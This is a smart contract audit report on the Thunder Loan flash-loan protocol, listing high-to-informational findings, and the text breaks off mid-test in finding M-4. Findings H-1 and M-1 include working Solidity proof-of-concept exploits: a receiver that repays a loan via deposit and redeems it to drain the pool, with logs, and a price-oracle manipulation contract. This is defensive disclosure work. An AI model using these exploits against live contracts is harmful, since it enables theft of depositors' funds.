# Thunder Loan
# Protocol Audit Report

Version 1.0

*Oleh Yatskiv at OmiSoft*

September 5, 2024

# Thunder Loan Protocol Audit Report

Oleh Yatskiv at OmiSoft

September 5th, 2024

**Prepared by:** OmiSoft team

**Lead Auditor:** Oleh Yatskiv

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] `ThunderLoan::repay` function can be avoided when repaying the flashloan by calling the `ThunderLoan::deposit` function, which leads to users being able to steal underlying assets
    * [H-2] `ThunderLoan::deposit` function falsely changes the exchange rate, leading to partial loss of funds of the liquidity providers and setting incorrect exchange rate

    * [H-3] Changing variable locations during an upgrade to new implementation causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol
    * [H-4] `ThunderLoan::getCalculatedFee` calculates fees using price in WETH, although the fees are accured in the underlying token, leading to miscalculations of fees
  - Medium
    * [M-1] Using TSwap as a price oracle leads to price oracle manipulation attacks
    * [M-2] `functionCall` at `ThunderLoan::flashloan` ignores the return value, leading to unexpected behavior
    * [M-3] `TSwapPool::getPriceOfOnePoolTokenInWeth` function doesn't take into account the token decimals, which could lead to wrong fees calculated
    * [M-4] Using some of the weird ERC-20 token implementations that have fees on transfer, rebasing, blacklists, etc could lead to unexpected behavior
    * [M-5] Centralization risk for trusted owners
  - Low
    * [L-1] `ThunderLoan` contract initializer can be front-run by the attacker, which would set them as contract owner
    * [L-2] The `ThunderLoan::repay` function becomes unusable after taking second flashloan and repaying it, so that the first flashloan could not be repaid
    * [L-3] Update of the fee at `ThunderLoan::updateFlashLoanFee` does not emit an event
  - Gas
    * [G-1] Using **`private`** constants instead of **`public`** ones saves gas
    * [G-2] `AssetToken::updateExchangeRate` function uses too much SLOAD operations
    * [G-3] Unused function `OracleUpgradeable::getPrice` can be removed
    * [G-4] Unused custom error `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncreas` can be removed
    * [G-5] Use `uint256` values 1/2 instead of bool to save gas and avoid frequent Gwarmaccess and Gsset operation when setting bool to false and then back to true
    * [G-6] Variable `s_feePrecision` in `ThunderLoan` contract can be made `constant`
    * [G-7] **`public`** functions not used internally could be marked `external`
  - Informational
    * [I-1] Unused import
    * [I-2] There is no natspec for several functions throughout the codebase

* [I-3] The `ThunderLoan` contract does not implement the `IThunderLoan` interface as it should
* [I-4] Missing `address(0)` check at `OracleUpgradeable::__Oracle_init_unchained`
* [I-5] Fork tests not used despite using an external protocol
* [I-6] PUSH0 is not supported by all chains
* [I-7] Misleading naming of variable in `ThunderLoan::initialize` function
* [I-8] `ThunderLoan::flashloan` function doesn't follow the CEI pattern
* [I-9] Custom revert reason unclear
* [I-10] No checks for `name` or `symbol` at `ThunderLoan::setAllowedToken`
* [I-11] Test coverage is too low
* [I-12] Upgradeable contract is missing a `__gap[]` storage variable to allow for new storage variables in later versions
* [I-13] Parameters of `IThunderLoan::repay` and `ThunderLoan::repay` functions are different, which could lead to incorrect usage and the functionality not working as expected

## Protocol Summary

Thunder Loan in a decentralized lending protocol that allows users to supply assets to earn fees, and to take out flash loans. The protocol consists of three main contracts: `AssetToken`, `OracleUpgradeable`, and `ThunderLoan`. The `AssetToken` contract is an ERC20 token that represents the assets supplied to the protocol. It is used to hold the supplied tokens and accure fees, that can later be withdrawn by liquidity providers. It takes track of the exchange rate between the asset token and the underlying token. The `ThunderLoan` contract is the main contract of the protocol, that allows users to supply assets, take out flash loans, and withdraw their funds. The protocol uses the `AssetToken` contract to hold the supplied tokens, and the `OracleUpgradeable` contract to keep information about the `TSwap` price oracle. The contract is `UUPSUpgradeable` and `Ownable`.

## Disclaimer

Oleh Yatskiv from the OmiSoft team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond to the following commit hash:**

```
026da6e73fde0dd0a650d623d0411547e3188909
```

### Scope

```
./src/
|__ interfaces
|     |__ IFlashLoanReceiver.sol
|     |__ IPoolFactory.sol
|     |__ ITSwapPool.sol
|     #__ IThunderLoan.sol
|__ protocol
|     |__ AssetToken.sol
|     |__ OracleUpgradeable.sol
|     #__ ThunderLoan.sol
|__ upgradedProtocol
|     #__ ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI

  - LINK
  - WETH

#### Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

## Executive Summary

#### Issues found

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 5 |
| Low | 3 |
| Gas | 7 |
| Info | 13 |
| Total | 32 |

## Findings

### High

#### [H-1] `ThunderLoan::repay` function can be avoided when repaying the flashloan by calling the `ThunderLoan::deposit` function, which leads to users being able to steal underlying assets

**Description:** User can avoid calling the `ThunderLoan::repay` function when repaying the flashloan by calling the `ThunderLoan::deposit` function instead. This would allow the user to steal the underlying assets by then calling the `ThunderLoan::redeem` function. The `ThunderLoan::flashloan` function lacks any checks on how the flashloan has been repaid:

```
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        ...
->      uint256 endingBalance = token.balanceOf(address(assetToken));
->      if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
        }
        s_currentlyFlashLoaning[token] = false;
    }
```

All that the `repay` function does, is transfer the assets:

```
    function repay(IERC20 token, uint256 amount) public {
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
->      token.safeTransferFrom(msg.sender, address(assetToken), amount)
   ;
    }
```

You can repay the flashloan by simply using `transfer`:

```
    function executeOperation(...) external returns (bool) {
        IERC20(token).transfer(repaymentAddress, amount + fee);
    }
```

Or depositing into the contract via `deposit` function, exploiting the vulnerability:

```
    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);

```

```
->        token.safeTransferFrom(msg.sender, address(assetToken), amount)
    ;
     }
```

**Impact:** The user can steal the underlying assets by avoiding the `ThunderLoan::repay` function when repaying the flashloan. This would allow the user to steal the underlying assets by calling the `ThunderLoan::redeem` function. It is a severe discrepancy in the flashloan mechanism, as the flashloan should be repaid in full, and the `ThunderLoan::flashloan` function should check if the flashloan has been repaid in full.

**Proof of Concept:** We can write a test in which we take out a flashloan, then repay it by calling `ThunderLoan::deposit` function, and then just redeem the tokens and check user balances before and after the operation.

First let's write a simple smart contract for handling this attack:

```
contract MaliciousFlashLoanReceiverDeposit is IFlashLoanReceiver {
    ThunderLoan thunderLoan;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemDeposit(address token, uint256 amount) public {
        thunderLoan.redeem(IERC20(token), amount);
        IERC20(token).transfer(address(msg.sender), IERC20(token).
            balanceOf(address(this)));
    }
}
```

Then we can write a test to execute the attack and drain the contract:

```
    function testUsingDepositInsteadOfRepay() public setAllowedToken
        hasDeposits {
```

```
        uint256 amountToBorrow = AMOUNT * 99;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        uint256 userBalanceBefore = tokenA.balanceOf(user);
        uint256 protocolBalanceBefore = tokenA.balanceOf(address(
            thunderLoan.getAssetFromToken(tokenA)));
        MaliciousFlashLoanReceiverDeposit maliciousFlashLoanReceiver =
            new MaliciousFlashLoanReceiverDeposit(address(thunderLoan));
        tokenA.mint(address(maliciousFlashLoanReceiver), calculatedFee)
            ;
        thunderLoan.flashloan(address(maliciousFlashLoanReceiver),
            tokenA, amountToBorrow, "");
        maliciousFlashLoanReceiver.redeemDeposit(address(tokenA), type(
            uint256).max);
        uint256 userBalanceAfter = tokenA.balanceOf(user);
        uint256 protocolBalanceAfter = tokenA.balanceOf(address(
            thunderLoan.getAssetFromToken(tokenA)));
        vm.stopPrank();

        console2.log("User balance before: ", userBalanceBefore);
        console2.log("User balance after: ", userBalanceAfter);
        console2.log("Protocol balance before: ", protocolBalanceBefore
            );
        console2.log("Protocol balance after: ", protocolBalanceAfter);

        assert(userBalanceAfter > userBalanceBefore);
    }
```

We can see that we were able to drain the contract:

```
Logs:
  User balance before:  0
  User balance after:  994458609175471892419
  Protocol balance before:  1000000000000000000000
  Protocol balance after:  8511390824528107581
```

**Recommended Mitigation:** Add a check in the `ThunderLoan::flashloan` function to see if the flashloan has been repaid in full. If it hasn't, revert the transaction. You can either use some kind of a flag value to check whether the repayment has been made via the `ThunderLoan::repay` function and enforce users using it, or jusy block the `deposit` function from being called by the flashloan receiver before the flashloan has been repaid.

### [H-2] `ThunderLoan::deposit` function falsely changes the exchange rate, leading to partial loss of funds of the liquidity providers and setting incorrect exchange rate

**Description:** The `ThunderLoan::deposit` function falsely changes the exchange rate where it shouldn't. The only place where the exchange rate should be updated is `ThunderLoan::flashloan`, as it accures fees and changes the exchange rate.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
->      uint256 calculatedFee = getCalculatedFee(token, amount);
->      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

**Impact:** The liquidity providers will lose part of their funds, as the exchange rate is changed incorrectly. The liquidity provider would not be able to withdraw the correct amount of funds they are entitled to. If they deposited and then immediately withdrew the funds, they would lose part of their funds (approximately 0.3009%). Each time someone deposits, the exchange rate is changed, and the liquidity providers lose more. On 232 deposits the first depositor will loose half of his initial deposit.

**Proof of Concept:** We can write a simple test function to see if we're able to deposit and then withdraw the same amount of funds.

```
    function testRedeemAfterLoan() public setAllowedToken {
        tokenA.mint(liquidityProvider, AMOUNT);

        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        uint256 amountToRedeem = AMOUNT;
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
        assertEq(tokenA.balanceOf(liquidityProvider), AMOUNT);
    }
```

The test will fail, as the redeem function won't go through:
[FAIL. Reason: ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 10000000000000000000 [1e19], 10030000000000000000 [1.003e19])]

**Recommended Mitigation:** Remove the incorrectly placed exchange rate update from the

`ThunderLoan::deposit` function.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
->      uint256 calculatedFee = getCalculatedFee(token, amount);
->      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

### [H-3] Changing variable locations during an upgrade to new implementation causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol

**Description:** The `ThunderLoan` contract has storage variables in the following order: `s_feePrecision`, `s_flashLoanFee` and `s_currentlyFlashLoaning`:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee

    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

In the upgraded implementation, the `s_feePrecision` variable has been turned into a constant, which means that it no longer requires a storage slot. The `s_flashLoanFee` and `s_currentlyFlashLoaning` variables have been moved to the first and second storage slots, respectively:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;

    mapping(IERC20 token => bool currentlyFlashLoaning) private s_currentlyFlashLoaning;
```

That would set the value of `s_flashLoanFee` variable to the one that has been assigned to `s_feePrecision`. It also might cause the `s_currentlyFlashLoaning` variable to be set to the value of `s_flashLoanFee`, which would lead to users being unable to repay the protocol correctly.

**Impact:** After the upgrade to the new implementation, the `s_flashLoanFee` and `s_currentlyFlashLoaning` variables would be set to the wrong values. This might lead to users being unable to repay the protocol correctly, and the protocol would be frozen. Also, the users using the protocol after the upgrade would be charged the wrong fees.

**Proof of Concept:** We can write a test where we upgrade the implementation, to see that the variables has changed their values to the wrong ones:

```
    function testUpgradeCausesStorageCollision() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded thunderLoanUpgraded = new
           ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
        vm.stopPrank();
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        console2.log("Fee before upgrade: ", feeBeforeUpgrade);
        console2.log("Fee after upgrade: ", feeAfterUpgrade);

        assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
    }
```

**Recommended Mitigation:** If you must remove the storage variable, leave it as blank in order not to cause storage collisions.

```
->  uint256 private s_blank;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

### [H-4] `ThunderLoan::getCalculatedFee` calculates fees using price in WETH, although the fees are accured in the underlying token, leading to miscalculations of fees

**Description:** The `ThunderLoan::getCalculatedFee` function calculates fees using the price in WETH, although the fees are accured in the underlying token. The fees should be calculated using underlying token, without any need of using price oracles at all. If it is intended to accure fees in WETH, the logic should be changed to reflect that.

```
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        ...
->      uint256 fee = getCalculatedFee(token, amount);
        // slither-disable-next-line reentrancy-vulnerabilities-2
           reentrancy-vulnerabilities-3
        assetToken.updateExchangeRate(fee);
        ...
    }

    function getCalculatedFee(IERC20 token, uint256 amount) public view
         returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
->      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
    (token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

**Impact:** The fees would be miscalculated, as the fees are accured in the underlying token, but the fees are calculated using the price in WETH. This would lead to the liquidity providers losing funds.

**Proof of Concept:** This issue is directly linked to the `[M-1]` issue about using TSwap as a price oracle. The test function is already written in the `[M-1]` issue and shows how cheaper price of the underlying token leads to way cheaper fees.

**Recommended Mitigation:** Change the `ThunderLoan::getCalculatedFee` function to calculate fees using the underlying token, without any need of using price oracles at all. If it is intended to accure fees in WETH, the whole protocol's logic should be changed to reflect that (handling accuring fees, claiming fees separately for liquidity providers, etc.).

## Medium

### [M-1] Using TSwap as a price oracle leads to price oracle manipulation attacks

**Description:** ThunderLoan uses TSwap oracle to calculate fees for flashloans. The TSwap oracle can be easily manipulated by dumping the price of underlying token, which would lead to cheaper fees for flashloans. This would allow an attacker to flashloan a large amount of funds for a small fee, and then manipulate the price of the underlying token to their advantage.

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
         returns (uint256 fee) {
->      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
    (token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
->      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();
    }
```

The `TSwapPool::getPriceOfOnePoolTokenInWeth` function also doesn't take into account the token decimals, so there could be wrong fees calculated because of that:

```
    function getPriceOfOnePoolTokenInWeth() external view returns (
        uint256) {
        return
            getOutputAmountBasedOnInput(
->              1e18,
                i_poolToken.balanceOf(address(this)),
                i_wethToken.balanceOf(address(this))
            );
    }
```

**Impact:** An attacker could flashloan a large amount of funds for a small fee, and then manipulate the price of the underlying token to their advantage. This would allow the attacker to make a profit at the expense of the liquidity providers. Also the fees could be falsely calculated because of the lack of token decimals in the `TSwapPool::getPriceOfOnePoolTokenInWeth` function.

**Proof of Concept:** We can write a test function, in which we would take out two flashloans. The first one would pe to dump the price of the underlying token on TSwap, and the second one would be to show the fee difference. For that we would first implement a contract that would be responsible for carrying out the attack:

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    TSwapPool tSwapPool;
    address repaymentAddress;
    bool hasAttacked;
    uint256 public firstFee;
    uint256 public secondFee;

    constructor(address _thunderLoan, address _tSwapPool, address
        _repaymentAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tSwapPool = TSwapPool(_tSwapPool);
        repaymentAddress = _repaymentAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!hasAttacked) {
            hasAttacked = true;
            firstFee = fee;
            uint256 wethAmount = tSwapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tSwapPool), 50e18);
            tSwapPool.swapExactInput(IERC20(token), 50e18, IERC20(
                tSwapPool.getWeth()), wethAmount, uint64(block.timestamp
               ));
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            IERC20(token).transfer(repaymentAddress, amount + fee);
        } else {
            secondFee = fee;
            IERC20(token).transfer(repaymentAddress, amount + fee);
        }
        return true;
    }
}
```

We get the first fee, sell 50 tokens for WETH, flashloan 100 tokens again, and then get the second fee. We can then write a test function to see if the fees are different:

```
        function testOracleManipulation() public {
            // Contracts setup
            thunderLoan = new ThunderLoan();
            tokenA = new ERC20Mock();
            proxy = new ERC1967Proxy(address(thunderLoan), "");
            PoolFactory poolFactory = new PoolFactory(address(weth));
            address tSwapPool = poolFactory.createPool(address(tokenA));
            thunderLoan = ThunderLoan(address(proxy));
            thunderLoan.initialize(address(poolFactory));

            // Fund TSwap
            vm.startPrank(liquidityProvider);
            tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
            tokenA.approve(address(tSwapPool), DEPOSIT_AMOUNT);
            weth.mint(liquidityProvider, DEPOSIT_AMOUNT);
            weth.approve(address(tSwapPool), DEPOSIT_AMOUNT);
            TSwapPool(tSwapPool).deposit(DEPOSIT_AMOUNT, DEPOSIT_AMOUNT,
                DEPOSIT_AMOUNT, uint64(block.timestamp));
            vm.stopPrank();

            // Fund ThunderLoan
            vm.prank(thunderLoan.owner());
            thunderLoan.setAllowedToken(tokenA, true);
            vm.startPrank(liquidityProvider);
            tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT * 10);
            tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT * 10);
            thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT * 10);
            vm.stopPrank();

            // Take flashloan to manipulate the price of the tokenA
            // Take another flashloan to show that the fees have
               drastically decreased
            uint256 normalFee = thunderLoan.getCalculatedFee(tokenA,
               DEPOSIT_AMOUNT * 10);
            console2.log("Normal fee: ", normalFee);
            uint256 amountToBorrow = DEPOSIT_AMOUNT * 5;
            MaliciousFlashLoanReceiver maliciousFlashLoanReceiver = new
               MaliciousFlashLoanReceiver(address(thunderLoan), address(
               tSwapPool), address(thunderLoan.getAssetFromToken(tokenA)));

            vm.startPrank(user);
            tokenA.mint(address(maliciousFlashLoanReceiver), amountToBorrow
               );
            thunderLoan.flashloan(address(maliciousFlashLoanReceiver),
               tokenA, amountToBorrow, "");
            vm.stopPrank();

            uint256 attackFee = maliciousFlashLoanReceiver.firstFee() +
               maliciousFlashLoanReceiver.secondFee();
            console2.log("Attack fee: ", attackFee);
            assert(attackFee < normalFee);
        }
```

We get the following output:

```
Logs:
  Normal fee:  298802094311970964 80
  Attack fee:  284937990909838044 30
```

As we can see, the attack fee is less than the normal fee, which means that the attacker was able to manipulate the price of the token and get a cheaper flashloan.

**Recommended Mitigation:** Consider using a different price oracle mechanism, like Chainlink Price Feeds with a Uniswap TWAP fallback oracle.

### [M-2] `functionCall` at `ThunderLoan::flashloan` ignores the return value, leading to unexpected behavior

**Description:** The `functionCall` at `ThunderLoan::flashloan` ignores the return value, which could lead to unexpected behavior. The `functionCall` function is used to call the `executeOperation` function in the flashloan receiver contract. The `functionCall` function ignores the return value, which could lead to unexpected behavior if the `executeOperation` function returns **`false`**. The user that writes the implementation would expect `ThunderLoan::flashloan` to revert if `executeOperation` returns **`false`**, which is not the case.

```
       function flashloan(
           address receiverAddress,
           IERC20 token,
           uint256 amount,
           bytes calldata params
       )
           external
           revertIfZero(amount)
           revertIfNotAllowedToken(token)
       {
           ...
           // slither-disable-next-line unused-return reentrancy-vulnerabilities-2
->         receiverAddress.functionCall(
->             abi.encodeCall(
->                 IFlashLoanReceiver.executeOperation,
->                 (
->                     address(token),
->                     amount,
->                     fee,
->                     msg.sender, // initiator
->                     params
->                 )
->             )
->         );

           uint256 endingBalance = token.balanceOf(address(assetToken));
           if (endingBalance < startingBalance + fee) {
               revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
           }
           s_currentlyFlashLoaning[token] = false;
       }
```

**Impact:** The user would expect `ThunderLoan::flashloan` to revert if `executeOperation` returns **`false`**, and so might use it as a safety net if something is wrong, but it doesn't. This could lead to unexpected behavior if the `executeOperation` function returns **`false`**, and the user would not be able to catch the error and revert the operation.

**Proof of Concept:** We can write a contract that would receive the flashloan, and then return `false`:

```
contract FlashLoanReceiverExpectsRevert is IFlashLoanReceiver {
    ThunderLoan thunderLoan;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.repay(IERC20(token), amount + fee);
        return false;
    }
}
```

Then let’s write a test function that takes out a flashloan:

```
    function testReturnValueIsIgnored() public setAllowedToken
        hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        FlashLoanReceiverExpectsRevert flashLoanReceiverExpectsRevert =
             new FlashLoanReceiverExpectsRevert(address(thunderLoan));
        vm.startPrank(user);
        tokenA.mint(address(flashLoanReceiverExpectsRevert), AMOUNT);
        thunderLoan.flashloan(address(flashLoanReceiverExpectsRevert),
            tokenA, amountToBorrow, "");
        vm.stopPrank();
    }
```

It doesn’t revert, meaning that the return value is indeed ignored:

```
Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testReturnValueIsIgnored() (gas: 1217190)
Suite result: ok. 1 passed; 0 failed; 0 skipped;
```

**Recommended Mitigation:** Make sure to check the return value of the `executeOperation` function in the flashloan receiver contract, and handle it correctly. Also consider thoroughly documenting the behavior of the `ThunderLoan::flashloan` function, so that the users are aware of the behavior.

### [M-3] `TSwapPool::getPriceOfOnePoolTokenInWeth` function doesn't take into account the token decimals, which could lead to wrong fees calculated

**Description:** The `TSwapPool::getPriceOfOnePoolTokenInWeth` function doesn't take into account the token decimals, which could lead to wrong fees calculated. The function should take into account the token decimals when calculating the price of one pool token in WETH.

```
    function getPriceOfOnePoolTokenInWeth() external view returns (
        uint256) {
        return
            getOutputAmountBasedOnInput(
                1e18,
                i_poolToken.balanceOf(address(this)),
                i_wethToken.balanceOf(address(this))
            );
    }
```

**Impact:** This would lead to fees for some assets being higher or lower than anticipated, which could lead to a loss of funds for the liquidity providers. The fees could be falsely calculated because of the lack of token decimals in the `TSwapPool::getPriceOfOnePoolTokenInWeth` function.

**Proof of Concept:** Let's use a simple ERC-20 token with 6 decimals, and then write a test function to see if the fees are calculated correctly:

```
contract SixDecimalsERC20 is ERC20 {
    constructor() ERC20("SixDecimalsERC20", "6D") {
        _mint(msg.sender, 1_000_000 * 10 ** 6);
    }

    function mint(address to, uint256 value) public {
        _mint(to, value);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}
```

Then we can write a test function to see if the fees are calculated correctly:

```
    function testDecimalsNotTakenIntoAccount() public {
        uint256 depositAmountSix = 1000e6;
        uint256 depositAmountEighteen = 1000e18;
        thunderLoan = new ThunderLoan();
        SixDecimalsERC20 sixDecs = new SixDecimalsERC20();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        PoolFactory poolFactory = new PoolFactory(address(weth));
        address tSwapPoolSix = poolFactory.createPool(address(sixDecs))
            ;
        address tSwapPool = poolFactory.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(poolFactory));

        // Allow the 6 decimals token
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(sixDecs, true);

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // Supply the TSwap pool with 6 decimals token
        vm.startPrank(liquidityProvider);
        sixDecs.mint(liquidityProvider, depositAmountSix);
        sixDecs.approve(address(tSwapPoolSix), depositAmountSix);
        weth.mint(liquidityProvider, depositAmountSix);
        weth.approve(address(tSwapPoolSix), depositAmountSix);
        TSwapPool(tSwapPoolSix).deposit(depositAmountSix,
            depositAmountSix, depositAmountSix, uint64(block.timestamp))
            ;
        vm.stopPrank();
        // Supply the TSwap pool with 18 decimals token
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, depositAmountEighteen);
        tokenA.approve(address(tSwapPool), depositAmountEighteen);
        weth.mint(liquidityProvider, depositAmountEighteen);
        weth.approve(address(tSwapPool), depositAmountEighteen);
        TSwapPool(tSwapPool).deposit(depositAmountEighteen,
            depositAmountEighteen, depositAmountEighteen, uint64(block.
            timestamp));
        vm.stopPrank();

        vm.startPrank(liquidityProvider);
        sixDecs.mint(liquidityProvider, depositAmountSix);
        sixDecs.approve(address(thunderLoan), depositAmountSix);
        thunderLoan.deposit(sixDecs, depositAmountSix);
        tokenA.mint(liquidityProvider, depositAmountEighteen);
        tokenA.approve(address(thunderLoan), depositAmountEighteen);
        thunderLoan.deposit(tokenA, depositAmountEighteen);
        vm.stopPrank();

        uint256 feeSixDecs = thunderLoan.getCalculatedFee(sixDecs,
            depositAmountEighteen);
        uint256 feeEighteenDecs = thunderLoan.getCalculatedFee(tokenA,
            depositAmountEighteen);

        console2.log("Fee for 6 decimals: ", feeSixDecs);
        console2.log("Fee for 18 decimals: ", feeEighteenDecs);

        assertNotEq(feeSixDecs, feeEighteenDecs);
    }
```

The test passes, and we see the following output:

```
Logs:
  Fee for 6 decimals:  2999999994
  Fee for 18 decimals:  2988020943119709648
```

Meaning that even if we flashloan 10**12 more tokens that has 6 decimals than the ones with 18, we still get exponentially lower fees for the 6 decimals token.

**Recommended Mitigation:** Consider using another price oracle mechanism that takes into account the token decimals when calculating the price of one pool token in WETH, for example, Chainlink Price Feeds. It should also be mentioned that the fees are accured in the underlying token, although the calculation is done in WETH, which could lead to severe discrepancies.

### [M-4] Using some of the weird ERC-20 token implementations that have fees on transfer, rebasing, blacklists, etc could lead to unexpected behavior

**Description:** The protocol does not limit the usage of ERC-20 tokens on the platform, so there could be some tokens added by the contract owner that may break the functionality for the selected asset. It has been noted as a known issue, but should still be emphasized.

**Impact:** Flashloan functionality might not work as expected for some of the assets, making those assets unusable on the platform. It could also lock the funds in the contract, making them inaccessible.

**Proof of Concept:** We can write a simple ERC-20 token contract, that would take 10% fee on every transfer and burn it:

```
contract WeirdERC20 is ERC20 {
    constructor() ERC20("WeirdERC20", "WERC") {
        _mint(msg.sender, 1_000_000 * 10 ** 18);
    }

    /// @dev We burn 10% of the transferred amount
    function transferFrom(address from, address to, uint256 value)
       public override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value * 90 / 100);
        _burn(from, value * 10 / 100);
        return true;
    }

    function mint(address to, uint256 value) public {
        _mint(to, value);
    }
}
```

Then let's write a test function, that will allow the weird token. Then we will deposit, and then withdraw:

```
    function testWeirdERC20breaksProtocol() public {
        thunderLoan = new ThunderLoan();
        WeirdERC20 weirdToken = new WeirdERC20();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
